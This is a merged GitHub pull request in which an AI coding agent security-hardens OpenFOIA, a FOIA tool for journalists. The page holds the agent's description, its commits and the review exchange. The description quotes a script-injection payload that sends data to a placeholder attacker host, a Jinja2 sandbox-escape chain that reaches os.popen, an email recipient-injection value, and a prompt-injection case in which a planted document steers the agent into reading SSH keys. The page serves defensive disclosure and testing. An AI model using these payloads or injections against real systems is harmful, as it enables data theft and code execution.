Skip to content

Security review: fix injection, at-rest and network leaks (TDD) - #64

Merged
JordanCoin merged 17 commits into
mainfrom
claude/openfoia-security-review-655vmy
Aug 10, 2026
Merged

Security review: fix injection, at-rest and network leaks (TDD)#64
JordanCoin merged 17 commits into
mainfrom
claude/openfoia-security-review-655vmy

Conversation

@JordanCoin

@JordanCoin JordanCoin commented Aug 9, 2026

Copy link
Copy Markdown
Owner

Full security review of the codebase, with every fix written test-first. 174 tests pass with the encryption extra installed (157 without it), up from 24 on main.

Reviewed against the project's own threat model: a journalist in a hostile environment, ingesting untrusted documents, where a silent network call or a false privacy guarantee is a mission failure rather than a bug.

Critical — untrusted document → code execution

Stored XSS in the entity graph (graph_template.py)
json.dumps does not escape <, > or /, and the result was string-substituted straight into an inline <script>. A FOIA response whose text contained </script><script>fetch('https://attacker/x?d='+...)</script> executed in the reader's browser on analyze graph --view and could exfiltrate the entire investigation. Now escaped to < / > / & plus U+2028/9; tests assert both that the payload cannot break out and that the JSON still round-trips.

Prompt injection → arbitrary local file read (agent.py)
process_document accepted any filesystem path and only checked .exists(), while the agent reads untrusted document text and had no prompt hardening. A malicious document could instruct the agent to ingest ~/.ssh/id_rsa or config.json into the database. Now confined to the data directory (resolved, so ../ and symlink escapes are caught), with system-prompt hardening and no raw exception text returned into the LLM context.

Unsandboxed Jinja2 → RCE (campaign.py)
Campaign templates are a shared artifact — an organizer distributes one to many participants — but were rendered with the full jinja2.Template, so {{ ''.__class__.__mro__[1].__subclasses__() }} chains reached os.popen on every participant's machine. Now SandboxedEnvironment, tested against four gadget chains.

High

  • The encryption feature was unreachable. pysqlcipher3 (the only accepted driver) is unmaintained since 2021, source-only, and no longer pip-installs on modern Python — its wheel build fails under pip's build isolation. So openfoia install-extras encryption could not succeed, and the flagship at-rest protection was effectively dead for users on current Python. db.py now accepts either pysqlcipher3 or sqlcipher3 (the maintained fork, which ships wheels), and the extra installs the latter. Found while closing the test gap below.
  • SQLCipher key truncation (db.py, security.py) — the passphrase was f-string-interpolated into PRAGMA key='{password}'. An apostrophe (it's ...) closed the literal early and turned the rest into a SQL comment, silently reducing the effective key to the characters before the quote — identically on create and unlock, so nothing looked broken. Now escaped, and verified against real SQLCipher: a truncated prefix genuinely fails to unlock.
  • db encrypt left the plaintext recoverable — it copied to .db.bak, renamed the encrypted file over the original (freeing the plaintext blocks untouched) and shredded only the copy. Now shreds the original in place along with its WAL/SHM/journal.
  • Duress mode labelled its own decoyprofile_0.db was never created; the real DB stayed data.db next to a file literally named profile_1.db. Enabling duress now migrates the real database and its sidecars into slot 0.
  • Duress degraded to a plaintext decoy when no driver was present, and the duress password could then never match. Both paths now fail closed.
  • CDN call from the local UIcdn.tailwindcss.com told Cloudflare and any on-path observer when a session was active. The ~105 utility classes actually used are vendored into openfoia/static/app.css; added CSP, Referrer-Policy: no-referrer, no-store, TrustedHostMiddleware, and constant-time token comparison.
  • Email recipient injectionagency@gov, attacker@evil silently delivered a copy of the request, no CRLF needed, because send_message derives the envelope from the headers. Now validated to exactly one address with an explicit envelope.
  • World-readable data — data dir now 0700, config 0600 via os.open, database and sidecars 0600.

Medium / Low

Metadata stripping reported success on fields it never touched (DOCX company/manager live in docProps/app.xml, unreachable via python-docx; PDF XMP survived /Info clearing) · OCR page images and fax PDFs staged in shared /tmp, escaping purge · config --show printed the database passphrase · no upload or OCR page caps · Alembic ignored the SQLCipher connection so encrypted databases were never migrated · adapters reported transport failures as empty result sets, making a failed sanctions check read as clean · AppleScript URL injection · SSRF guards, streamed downloads with an incremental size cap, and filename sanitization on record downloads · mkstemp instead of mktemp when rewriting sensitive documents · SEC EDGAR User-Agent no longer advertises the tool to a government endpoint · install.sh fails closed when it cannot verify a checksum and documents the portable invocation that actually works · tor_browse stops claiming WebRTC is disabled via a Chromium flag that does not exist.

Honesty fixes in docs/THREAT_MODEL.md: the encrypted-database section now states that ingested documents and archived pages are not covered, and the duress section matches what the code does.

Behavior changes to review before merging

  1. crossref_entities() raises PermissionError without allow_network=True. This breaks any existing programmatic caller — the gate lives in the library rather than the CLI so agent/server/script callers get the same protection (Principle 5). The CLI is updated and now also confirms before sending subject names off the machine.
  2. init --password is superseded by --encrypt, which prompts. The old flag still works but warns that the passphrase is now in shell history.
  3. Enabling duress mode moves data.dbprofile_0.db (with its sidecars).
  4. Twilio store_media now defaults to off.
  5. The encryption extra now installs sqlcipher3-binary instead of pysqlcipher3. Both are supported at runtime, so an existing pysqlcipher3 install keeps working.
  6. Ruff's rule set is pinned in pyproject.toml. CI installs an unpinned ruff>=0.1.0, and a newer ruff release widened its default rule set, turning Lint red with 325 errors across files this branch never touches — pristine main fails the same way. The pin here is a floor that restores deterministic lint, documented as such. Widen the ruff rule set and fix the findings #65 (stacked on this branch) widens the set properly and fixes the findings — including a real local-time-vs-UTC bug in FOIA deadline tracking.

Verification

CI green on Python 3.11, 3.12 and 3.13, plus integration jobs on 3.11/3.12 that install the encryption extra and fail loudly if no SQLCipher driver is present, so the crypto tests can never silently skip and look green.

Those integration tests exercise the real paths end to end: passphrases containing apostrophes round-trip through actual SQLCipher, a truncated prefix does not unlock, encrypt_database leaves no plaintext or .bak behind, encrypted init produces a database that really is encrypted and really has the schema (proving the alembic fix), and duress resolves the decoy while migrating the real DB into a slot.

Also verified against a running server rather than tests alone: security headers present, 401 without a token and 200 with, CSS served from disk, zero external references in the served page, and init producing a 0700 directory with a 0600 database.

tests/conftest.py blocks real sockets suite-wide, which turns offline-first into an enforced property — future tests needing network must opt in with @pytest.mark.allow_network.

🤖 Generated with Claude Code

https://claude.ai/code/session_01KWzqFx1d2uB6cjQV81mgJh

claude added 4 commits August 9, 2026 05:16
Documents ingested by OpenFOIA are untrusted: a hostile agency can craft a
FOIA response that breaks out of the context it is later rendered into.

- graph_template: escape <, >, &, U+2028/9 as \uXXXX before embedding the
  graph JSON in an inline <script>. json.dumps does not escape these, so a
  document containing </script><script>... executed arbitrary JS in the
  reader's browser and could exfiltrate the whole investigation.
- campaign: render templates through a SandboxedEnvironment. Campaign
  templates are a shared artifact distributed by an organizer, so an
  unsandboxed jinja2.Template allowed {{ ''.__class__... }} gadget chains
  to reach os.popen on every participant's machine.
- agent: confine process_document to the data directory (resolved, so ../
  and symlink escapes are caught), so a prompt-injected document cannot make
  the agent ingest ~/.ssh/id_rsa or config.json. Harden the system prompt to
  frame document content as data, never instructions, and stop returning raw
  exception text (absolute paths, DB internals) into the LLM context.
- db/security: escape the passphrase in PRAGMA key. An apostrophe used to
  close the literal early and silently truncate the effective key on both
  create and unlock, so a long passphrase could reduce to a few characters
  while appearing to work. Also enable cipher_memory_security on the main
  engine, and fail closed instead of writing a plaintext decoy or silently
  never matching the duress password when pysqlcipher3 is missing.

Tests: 43 new security regression tests covering each of the above.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01KWzqFx1d2uB6cjQV81mgJh
At-rest:
- db encrypt now shreds the plaintext database and its WAL/SHM/journal in
  place. It used to copy to .db.bak, rename the encrypted file over the
  original (freeing the plaintext blocks untouched) and shred only the copy,
  leaving the whole pre-encryption database recoverable by carving.
- Duress mode migrates the real database into profile slot 0. A file named
  profile_1.db sitting next to data.db told an examiner both that duress
  mode was configured and which file was the decoy.
- Data dir is created 0700 and tightened if it already exists; config.json
  is written 0600 via os.open. Both previously used the default umask, so
  any local account could read the investigation and any stored credentials.

Network:
- Remove the cdn.tailwindcss.com script tag and vendor the ~105 utility
  classes the UI actually uses into openfoia/static/app.css. The CDN fetch
  told Cloudflare and any on-path observer when a session was active.
- Add CSP (default-src/connect-src 'self'), Referrer-Policy: no-referrer,
  Cache-Control: no-store, nosniff and TrustedHostMiddleware; compare the
  auth token with secrets.compare_digest.
- Web archive saves sanitized HTML. It stored the raw page, so reopening an
  archived document later fired the original analytics and pixel beacons.
- crossref_entities requires allow_network=True and checks it before doing
  anything else, so agent/server/script callers get the same gate as the
  CLI. The CLI now confirms before sending subject names off the machine.

Gateways:
- Reject multi-recipient/CRLF addresses and pass an explicit SMTP envelope.
  "agency@gov, attacker@evil" silently delivered a copy of the request.
- Stage fax PDFs in a 0700 dir under the data dir (so purge covers them)
  instead of shared /tmp, and default store_media on Twilio to off.
- Validate record download URLs (https, no internal/loopback targets, no
  redirect following) and sanitize derived filenames.

Tests: 39 new regression tests, plus a conftest that blocks real sockets so
the offline-first guarantee is enforced by the suite itself.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01KWzqFx1d2uB6cjQV81mgJh
Metadata stripping told the user fields were removed that it never touched:
- DOCX company/manager live in docProps/app.xml, which python-docx cannot
  reach, so they shipped intact while being reported as stripped. Rewrite
  the zip directly and drop docProps/custom.xml (plus its content-type
  override and relationship so the archive stays valid).
- PDF stripping cleared only the /Info dictionary. The XMP /Metadata stream
  duplicates Author/Creator/timestamps and survived; it is now removed.

Resource caps on untrusted input:
- Uploads stream against a 100 MiB cap and delete the partial file on
  rejection; previously an upload could fill the disk.
- OCR renders into an owner-only dir under the data dir (so purge covers the
  plaintext page images, which used to land in shared /tmp) and caps pages,
  so a crafted PDF cannot exhaust memory rasterizing at 300 dpi.

Secrets:
- config --show masks password/token/api_key/secret values instead of
  printing the database passphrase into terminal scrollback.
- init grows --encrypt/--duress flags that prompt with hidden input, and
  warns when a passphrase arrives via argv (shell history + process list).

Other:
- Alembic reads the SQLCipher connection from config.attributes, and
  db upgrade routes through run_migrations. Encrypted databases were never
  actually migrated: the schema went to a throwaway DB and init appeared to
  succeed, which pushed users toward running unencrypted.
- Records adapters report transport/HTTP failures via SearchResult.error
  instead of returning an empty list, so a failed registry or sanctions
  lookup no longer reads as a clean record.
- Escape the URL interpolated into Safari's AppleScript, and escape
  recipient/subject fields in printed letters and fax cover pages.
- SEC EDGAR User-Agent no longer advertises the tool to a government
  endpoint; overridable via OPENFOIA_SEC_USER_AGENT.
- install.sh fails closed when it cannot verify the binary checksum
  (--insecure-skip-verify to override) and documents the portable
  invocation that actually works; uninstall.sh points at purge --secure.
- tor_browse stops claiming WebRTC is disabled via a Chromium flag that
  does not exist, and points at Tor Browser/Tails for real anonymity.

Tests: 44 new regression tests (150 total, up from 24).

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01KWzqFx1d2uB6cjQV81mgJh
The 0700 data directory is the primary protection, but the database itself
was created 0644. Set it (and its WAL/SHM/journal sidecars) to 0600 so the
investigation is not readable by other local accounts if the directory mode
is ever changed or the data lives on a volume with looser semantics.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01KWzqFx1d2uB6cjQV81mgJh
Copilot AI lite review requested due to automatic review settings August 9, 2026 06:09

Copilot AI left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

This PR performs a security-focused hardening pass across OpenFOIA’s CLI, server, agent, pipelines, and outbound gateways, aligning behavior with the threat model (offline-first, explicit network opt-in, reduced injection surface, and safer at-rest handling). It also adds a large set of security regression tests and enforces “no real sockets” by default in the test suite.

Changes:

  • Prevents injection and code-execution primitives (stored XSS in graph HTML, Jinja2 sandboxing for campaign templates, AppleScript URL escaping, safer agent tool error handling and path confinement).
  • Reduces network and identity leaks (vendored local UI CSS + CSP/headers + trusted hosts; library-layer Crossref opt-in; safer records downloads and adapter error reporting).
  • Improves at-rest protections and honesty (secure delete semantics, duress profile behavior, permissions tightening, config secret redaction, threat model updates), backed by broad security regression tests.

Reviewed changes

Copilot reviewed 37 out of 37 changed files in this pull request and generated 4 comments.

Show a summary per file
File Description
uninstall.sh Adds safer uninstall messaging and optional secure purge flow.
install.sh Fails closed on unverifiable downloads unless explicit insecure opt-out.
docs/THREAT_MODEL.md Updates documentation to accurately describe protections/limitations.
tests/conftest.py Enforces offline-by-default tests by blocking real outbound sockets.
tests/test_security_agent.py Adds agent prompt-injection + path confinement + error-redaction tests.
tests/test_security_at_rest.py Adds regression tests for secure delete, duress slot behavior, permissions.
tests/test_security_crypto.py Adds SQLCipher key escaping/truncation regression tests.
tests/test_security_gateways.py Adds tests for recipient injection, SSRF guards, temp file placement/permissions.
tests/test_security_hardening.py Adds tests for secret redaction, CLI prompting, caps, AppleScript safety, adapter failure semantics.
tests/test_security_injection.py Adds tests for graph XSS prevention and Jinja2 sandboxing.
tests/test_security_metadata.py Adds tests ensuring metadata stripping is truthful/effective (DOCX/PDF/XMP).
tests/test_security_misc.py Adds tests for Alembic migration correctness + template escaping + install/uninstall behavior.
tests/test_security_network.py Adds tests for local UI no-CDN behavior, CSP/headers, archive tracker stripping, Crossref opt-in.
openfoia/agent.py Hardens agent tool execution (generic errors, path confinement, system prompt guidance).
openfoia/browser.py Escapes interpolated URL in AppleScript to prevent script injection.
openfoia/campaign.py Switches to Jinja2 sandboxed rendering for shared campaign templates.
openfoia/cli.py Adds prompting flags for passphrases; improves network confirmations; routes migrations correctly.
openfoia/config.py Adds recursive secret redaction and writes config with owner-only permissions.
openfoia/crossref.py Adds library-layer allow_network gating for crossref sources.
openfoia/db.py Adds SQLCipher PRAGMA escaping helper; secure plaintext shredding; permissions hardening.
openfoia/gateways/email.py Validates single recipient and uses explicit SMTP envelope recipients.
openfoia/gateways/fax.py Escapes cover-page markup fields; stages media under data dir; defaults provider media retention off.
openfoia/gateways/mail.py Escapes interpolated HTML fields in printed letter template.
openfoia/graph_template.py Escapes JSON to safely embed in inline <script> (prevents stored XSS).
openfoia/migrations/env.py Ensures Alembic uses the passed SQLCipher connection when provided.
openfoia/pipeline/metadata.py Removes PDF XMP metadata; strips DOCX extended props and drops custom props.
openfoia/pipeline/ocr.py Moves OCR scratch under data dir; caps pages rendered; improves purge coverage.
openfoia/pipeline/web.py Sanitizes archived HTML so reopening doesn’t refire remote trackers/subresources.
openfoia/records/base.py Adds URL validation + safe filename derivation + consistent adapter transport error reporting.
openfoia/records/documentcloud.py Validates attacker-influenced asset URLs before downloading.
openfoia/records/muckrock.py Disables redirects; validates URLs; caps download size; sanitizes filenames.
openfoia/records/opencorporates.py Uses shared request wrapper and surfaces transport failures as errors.
openfoia/records/sec_edgar.py Uses overridable generic UA and surfaces adapter failures consistently.
openfoia/server.py Vendors local CSS; adds trusted-host protection; security headers; upload hard cap + streaming write; constant-time token check.
openfoia/static/app.css Adds locally-served minimal CSS replacing Tailwind CDN dependency.
openfoia/tor_browse.py Updates warning text and removes claims of non-existent Chromium flags.

💡 Add a code-review agent skill or configure MCP servers for context-aware, tailored reviews. Learn more in the docs.

Comment thread openfoia/security.py
Comment on lines 261 to +276
from .db import get_data_dir

if not _has_sqlcipher():
# A plaintext decoy contradicts the guarantee. Fail closed.
raise RuntimeError(
"Duress mode requires database encryption, but pysqlcipher3 is not "
"installed. A plaintext decoy would provide no protection. "
"Install encryption support: openfoia install-extras encryption"
)

# Migrate the real database into slot 0 so both slots look alike.
legacy_path = get_data_dir() / "data.db"
real_path = real_profile_path()
if legacy_path.exists() and not real_path.exists():
shutil.move(str(legacy_path), str(real_path))

Comment thread openfoia/records/muckrock.py Outdated
Comment on lines +378 to +386
try:
validate_download_url(url)
resp = await client.get(url)
resp.raise_for_status()

# Extract filename from URL
filename = url.split("/")[-1]
if len(resp.content) > MAX_DOWNLOAD_BYTES:
raise ValueError(
f"Refusing file over {MAX_DOWNLOAD_BYTES} bytes: {len(resp.content)}"
)
Comment thread openfoia/pipeline/metadata.py Outdated
Comment on lines +333 to +343
tmp = tempfile.mktemp(suffix=".docx")
try:
with zipfile.ZipFile(tmp, "w", zipfile.ZIP_DEFLATED) as dst:
for name, data in members.items():
dst.writestr(name, data)
shutil.move(tmp, file_path)
except Exception as exc:
logger.warning("Could not rewrite DOCX archive %s: %s", file_path, exc)
if Path(tmp).exists():
Path(tmp).unlink()
return []
Comment thread tests/test_security_network.py Outdated
finally:
httpx.AsyncClient = orig

saved = (tmp_path / result.html_path).read_text() if False else open(result.html_path).read()
Review fixes (all three were real defects):

- security.py: duress migration now moves the WAL/SHM/journal sidecars with
  the database. A leftover data.db-wal both retained recent plaintext pages
  and re-labelled the layout — an examiner seeing it next to profile_0/1
  learns which slot is real, defeating the point of the migration. Extracted
  as migrate_db_to_profile_slot(): idempotent, never clobbers an existing
  slot, and clears stale legacy leftovers.
- records: downloads stream to disk with the cap enforced incrementally.
  The cap ran after resp.content had already buffered the whole body, so a
  compromised upstream could still force a large allocation. Added
  download_to_file(), which also removes the partial file on abort.
- metadata.py: replace tempfile.mktemp() with mkstemp() in the same
  directory. mktemp is a TOCTOU race (an attacker can win the name and plant
  a symlink), and this rewrites sensitive documents in place.
- tests: drop leftover `if False` dead code and read via a context manager.

CI lint:

CI installs an unpinned `ruff>=0.1.0`. A newer ruff release widened its
default rule set, turning the Lint step red with 325 errors across files
this branch never touched (templates.py, tor_browse.py, test_extraction.py,
benchmark_extraction.py). Pin the rule set explicitly to the four defaults
the project has always been linted against, so a ruff upgrade can no longer
silently change what CI enforces. Widening the set is now a deliberate
choice rather than an upgrade side effect.

Import ordering and a bytes literal in the new test files are cleaned up so
they stay clean if the rule set is widened later.

Tests: 157 passing (6 new).

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01KWzqFx1d2uB6cjQV81mgJh

Copy link
Copy Markdown
Owner Author

All four review comments were valid and are fixed in 27f0203.

1. Duress migration left SQLite sidecars behind (security.py) — correct, and this partly undermined the fix it was commenting on. A leftover data.db-wal retains recent plaintext pages and re-labels the on-disk layout, which is exactly what moving into an opaque slot was meant to prevent. Extracted the migration into migrate_db_to_profile_slot(), which moves the -wal/-shm/-journal files with the database, is idempotent, never clobbers an existing slot, and clears stale legacy leftovers. Three new tests, including one asserting nothing matching data.db* survives.

2. Download cap ran after resp.content buffered the body (records/muckrock.py) — correct, the cap was decorative against a hostile upstream. Added download_to_file() in records/base.py, which streams via client.stream() and enforces the cap per chunk, deleting the partial file on abort. The test asserts the stream is abandoned early rather than fully consumed.

3. tempfile.mktemp() TOCTOU (pipeline/metadata.py) — correct. Switched to mkstemp() in the target's own directory. Fixed the same pattern in the test helper.

4. Dead if False / unclosed handle (tests/test_security_network.py) — removed; reads via Path.read_text().


Separately, the Lint step failure on the previous commit was not caused by this branch. CI installs an unpinned ruff>=0.1.0, and a newer ruff release widened its default rule set, producing 325 errors across files this branch never touches (templates.py, tor_browse.py, test_extraction.py, benchmark_extraction.py). Pristine main fails the same way. I pinned the rule set explicitly in pyproject.toml to the four defaults the project has always been linted against, so a ruff upgrade can no longer silently change what CI enforces — widening it is now a deliberate decision. I also cleaned the import ordering and a bytes literal in the new test files so they stay clean if the set is widened later.

Happy to instead fix all 325 repo-wide violations, but that seemed like a large unrelated diff to fold into a security PR — say the word if you'd prefer it.


Generated by Claude Code

claude added 3 commits August 9, 2026 12:52
The at-rest encryption and duress features were the highest-stakes code in
this change set and the least exercised: their tests skipped because no
SQLCipher driver could be installed. Investigating why turned up a real bug.

pysqlcipher3 is unmaintained (last release 2021), source-only, and no longer
pip-installs on modern Python — its wheel build fails under pip's build
isolation. Since it was the only accepted driver, `openfoia install-extras
encryption` could not succeed, which means the flagship at-rest protection
was effectively unreachable for users on current Python.

- db.py accepts either pysqlcipher3 or sqlcipher3 (the maintained fork,
  which ships binary wheels), preferring whichever is installed. Existing
  pysqlcipher3 installs keep working.
- get_sqlcipher_driver() raises a clear error instead of returning None and
  failing later with an opaque AttributeError; security.py now routes
  through it rather than importing pysqlcipher3 directly.
- The encryption extra installs sqlcipher3-binary.
- New tests/test_crypto_integration.py exercises the real paths end to end:
  passphrases containing apostrophes round-trip through actual SQLCipher, a
  truncated prefix does NOT unlock the database (the key-escaping
  regression, now proven rather than inferred), encrypt_database leaves no
  plaintext or .bak behind, encrypted init produces a database that really
  is encrypted AND really has the schema (proving the alembic fix), and
  duress mode resolves the decoy while migrating the real DB into a slot.
- CI gains an integration job that installs the encryption extra and fails
  loudly if no driver is present, so these can never silently skip.

Verified both ways: 174 passed / 10 skipped with a driver installed,
157 passed / 27 skipped without one.

Also: state plainly in pyproject that the pinned ruff rule set is a floor
restoring deterministic lint, not a judgement that the wider rules lack
value — DTZ and BLE001/S110 in particular have real signal here. Widening
it is tracked as follow-up rather than folded into a security change.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01KWzqFx1d2uB6cjQV81mgJh
Enabling ruff's DTZ rules found a real correctness bug, not just style.

`openfoia request send` wrote `req.sent_at = datetime.now()` — LOCAL time
into a column every reader treats as UTC. `days_pending()` and
`is_overdue()` compare it against UTC, so for a user in UTC+9 or UTC-8 the
statutory FOIA deadline was off by up to a day. For a tool whose whole job
is tracking those deadlines, that matters.

- Add `models.utcnow()`: UTC as a **naive** datetime. The ORM's DateTime
  columns are timezone-naive, so returning an aware value would raise
  "can't subtract offset-naive and offset-aware datetimes" against every
  existing row. This removes the deprecated `datetime.utcnow()` (CI already
  targets 3.13) while preserving the storage convention exactly. Moving to
  timezone-aware columns is a separate, deliberate migration.
- Migrate all 21 `utcnow()` call sites across 9 modules, including an
  aliased `dt.utcnow()` that a naive search missed.
- Fix the `sent_at` local-time bug; make request-number dates UTC so they
  match the agent-generated ones.
- Where local time IS correct — the date printed on an outgoing letter, a
  file listing shown to the user — keep it and annotate why, rather than
  converting and silently changing what the user sees.

Tests pin the convention: the helper is naive, is UTC, emits no deprecation
warning, `days_pending`/`is_overdue` still work against naive storage, no
attribute-style `.utcnow()` calls remain, and no local time is assigned to a
persisted timestamp column.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01KWzqFx1d2uB6cjQV81mgJh
Follow-up to the security review, which pinned ruff to four rules to stop an
upgrade turning CI red. That restored determinism but left ~300 findings
unreported, and some of them had real signal. This enables the rules that
matter and fixes what they found, rather than leaving the narrow pin as the
de-facto answer.

Enabled: I, UP, B, SIM, DTZ, C4, PIE, RUF (on top of E4/E7/E9/F).

Real defects found and fixed:
- B023: the OCR loop's worker closure did not bind `image`. Benign today
  because it is awaited within the iteration, but parallelizing that loop —
  an obvious future optimization — would have silently OCR'd the last page
  N times. Now bound explicitly.
- B904: 17 `raise` sites inside `except` blocks lost the exception chain.
  All are control-flow re-raises (typer.Exit, SystemExit, HTTPException)
  after a friendly message is printed, so they now say `from None`
  explicitly instead of dropping the chain by accident.
- F401: three optional-dependency availability probes were indistinguishable
  from dead imports; annotated as deliberate.

Judgement calls, documented in pyproject rather than applied blindly:
- UP042 (str-Enum -> StrEnum) is ignored. It changes what `str(member)`
  returns, and these enums are persisted through SQLAlchemy and serialized
  into exports — a data-format change wearing a lint fix's clothing.
- B008 is ignored for server.py/cli.py: `= Depends(...)` and
  `= typer.Option(...)` in signature defaults are the frameworks' idiom.
- S101/SLF001 ignored under tests/ (asserts and private access are the point).
- BLE001 (~82 blind excepts) stays out for now, with a note explaining why:
  it is high signal for this codebase but needs a per-site audit of error
  handling, which deserves its own reviewable change.

Also: U+2028/U+2029 in the XSS escaper and its test are now written as
`
` source escapes instead of raw invisible characters — same
behaviour, but reviewers can actually see them.

Everything else was mechanical: import ordering, modern typing syntax,
contextlib.suppress, ClassVar on mutable class attributes, two collapsible
ifs (both verified to have no else branch, so behaviour is unchanged).

181 tests pass; lint and format checks clean; `openfoia init` verified for
both plain and encrypted databases.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01KWzqFx1d2uB6cjQV81mgJh
claude added 9 commits August 9, 2026 13:13
`pull_request: branches: [main]` meant a stacked PR — one branch based on
another rather than on main — triggered no test jobs at all. It showed only
the Copilot reviewer and otherwise looked reviewed and green while nothing
had executed. Found because this PR is itself stacked.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01KWzqFx1d2uB6cjQV81mgJh
`RequestDetails.keywords` was annotated `list[str]` but defaulted to None,
so the annotation lied to every caller. The field is currently unused, so
there is no live bug, but mypy flagged it and the dataclass's other optional
fields already use `| None = None` — matched that rather than switching to a
default_factory, which would change the contract.

Also give `list_templates()` a concrete `dict[str, str]` return type.

mypy is clean on this file now (it runs in CI as continue-on-error).

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01KWzqFx1d2uB6cjQV81mgJh
The research path (crossref + records adapters) currently opens bare
httpx.AsyncClient connections with no proxy option, so cross-referencing
subject names sends them from the user's real IP with no way to route
through Tor. This adds the single choke point every outbound HTTP call
will route through, so DIRECT-vs-Tor routing, stream isolation and a
non-identifying User-Agent become properties of the whole app rather than
something each caller must remember.

Key properties, each covered by tests:
- Fail-closed Tor: egress_client() in TOR mode raises TorUnavailableError
  when the SOCKS stack is missing rather than silently returning a
  clearnet client — that silent fallback is the classic deanonymization
  leak (Principle 1).
- Tor stream isolation: per-call SOCKS credentials open a distinct circuit
  per query (IsolateSOCKSAuth); a shared token deliberately reuses one.
- Non-identifying User-Agent that never advertises OpenFOIA or the repo.
- describe_egress() reports honestly: Tor hides who is asking, not what is
  asked; the destination still sees the query and timing correlation still
  applies (Principle 3). No "anonymous" claim the design can't back up.

socks5h is used only to make remote-DNS intent explicit; it is not a
behavioral fix over socks5 in httpx (httpcore/socksio already resolve
hostnames remotely for both schemes).

Dead code until the adapters and crossref are wired through it, which
follows in subsequent commits.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01KWzqFx1d2uB6cjQV81mgJh
All 18 outbound httpx.AsyncClient call sites across the records adapters
were bare clients with no proxy option, so crossref sent the names of
people and organizations under investigation from the user's real IP with
no way to route through Tor. Each now goes through
openfoia.net.egress_client, and every adapter takes an optional
EgressPolicy via its constructor (DIRECT by default, so existing callers
are unchanged).

In Tor mode each request gets a fresh circuit by default (egress_client
generates per-call SOCKS credentials), so an entity's separate source
lookups are unlinkable at the exit. SEC EDGAR keeps its legally required
descriptive User-Agent — it is passed per-request and overrides the
generic client default, verified against a real MockTransport.

A source-scan regression test asserts no bare httpx.AsyncClient literal
survives anywhere under openfoia/records/. Full suite: 226 passed.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01KWzqFx1d2uB6cjQV81mgJh
Annotate **kwargs and the dict return, and resolve the httpx forward
reference via a TYPE_CHECKING import so the lazy runtime import no longer
needs a noqa. No behavior change.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01KWzqFx1d2uB6cjQV81mgJh
…erprint

crossref_entities() and the web-archive fetch/archive functions now take
an EgressPolicy and thread it into every source checker and adapter, so
cross-referencing subject names can be routed through Tor with a fresh
circuit per request. The OpenSanctions checker's last bare httpx client
is converted, so no direct client remains on the research path.

Two fixes to what the endpoints see:
- The web fetcher no longer sends "Mozilla/5.0 (compatible; OpenFOIA/1.0;
  +https://github.com/JordanCoin/openfoia)". That User-Agent advertised the
  tool and linked the repo to every server contacted — a fingerprint that
  identified the user as an OpenFOIA operator. It now sends the generic,
  non-identifying UA from the egress layer.
- Per-source rate-limit delays get jitter (base .. 1.5x base, never below
  the documented floor) so the request cadence isn't a regular, trivially
  correlated timing signature.

allow_network (whether to hit the network) and egress (direct vs Tor) stay
orthogonal: a Tor policy still raises PermissionError without allow_network.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01KWzqFx1d2uB6cjQV81mgJh
…st UX

Adds NetworkConfig (tor off by default; host/port/isolate_streams, with
OPENFOIA_TOR* env overrides) and wires it into the CLI:

- `openfoia crossref` and `openfoia ingest` take --tor/--no-tor (default
  follows config). When Tor is requested, the CLI probes the SOCKS port
  with check_tor() BEFORE any request and aborts with a clear message if
  it's unreachable, rather than silently proceeding on clearnet — the
  fail-closed rule that keeps a downed Tor daemon from deanonymizing the
  user. Missing socksio is caught and routed to `install-extras tor`.
- Before sending subject names, the existing confirmation now shows the
  honest egress summary from describe_egress(): direct means the endpoint
  sees your real IP; Tor hides the IP but never the query content, and a
  global passive adversary can still correlate timing.
- `openfoia egress-status` prints the current policy, live Tor
  reachability, and what is / isn't protected.

tor_browse builds its proxy from config instead of a hardcoded address.

THREAT_MODEL.md is corrected: the data-leaves-the-machine table now names
crossref sending "the names of the people and organizations you are
investigating" (previously it listed a nonexistent CrossRef API row), and
the Tor sections state plainly that Tor hides who is asking, not what is
asked. No "no traces" / "untraceable" / "anonymous" guarantees.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01KWzqFx1d2uB6cjQV81mgJh
…branch

# Conflicts:
#	openfoia/cli.py
#	openfoia/pipeline/web.py
The new egress/OPSEC code was only linted against the narrow pinned rule
set on this branch; under the rules #65 widens to (I/UP/B/SIM/DTZ/C4/
PIE/RUF) it had two RUF059 findings in a test (unused unpacked tuple
elements) — now prefixed. `ruff check` and `ruff format --check` are clean
across the whole tree with the widened set active.

Version 3.0.0 -> 4.0.0: this release carries breaking behavior changes
(crossref refuses network without allow_network, init --password
superseded by --encrypt, enabling duress moves the database and its
sidecars, the encryption extra swaps pysqlcipher3 for sqlcipher3-binary)
alongside the new opt-in Tor egress, so it is a major bump.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01KWzqFx1d2uB6cjQV81mgJh
@JordanCoin
JordanCoin merged commit 01ec742 into main Aug 10, 2026
5 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants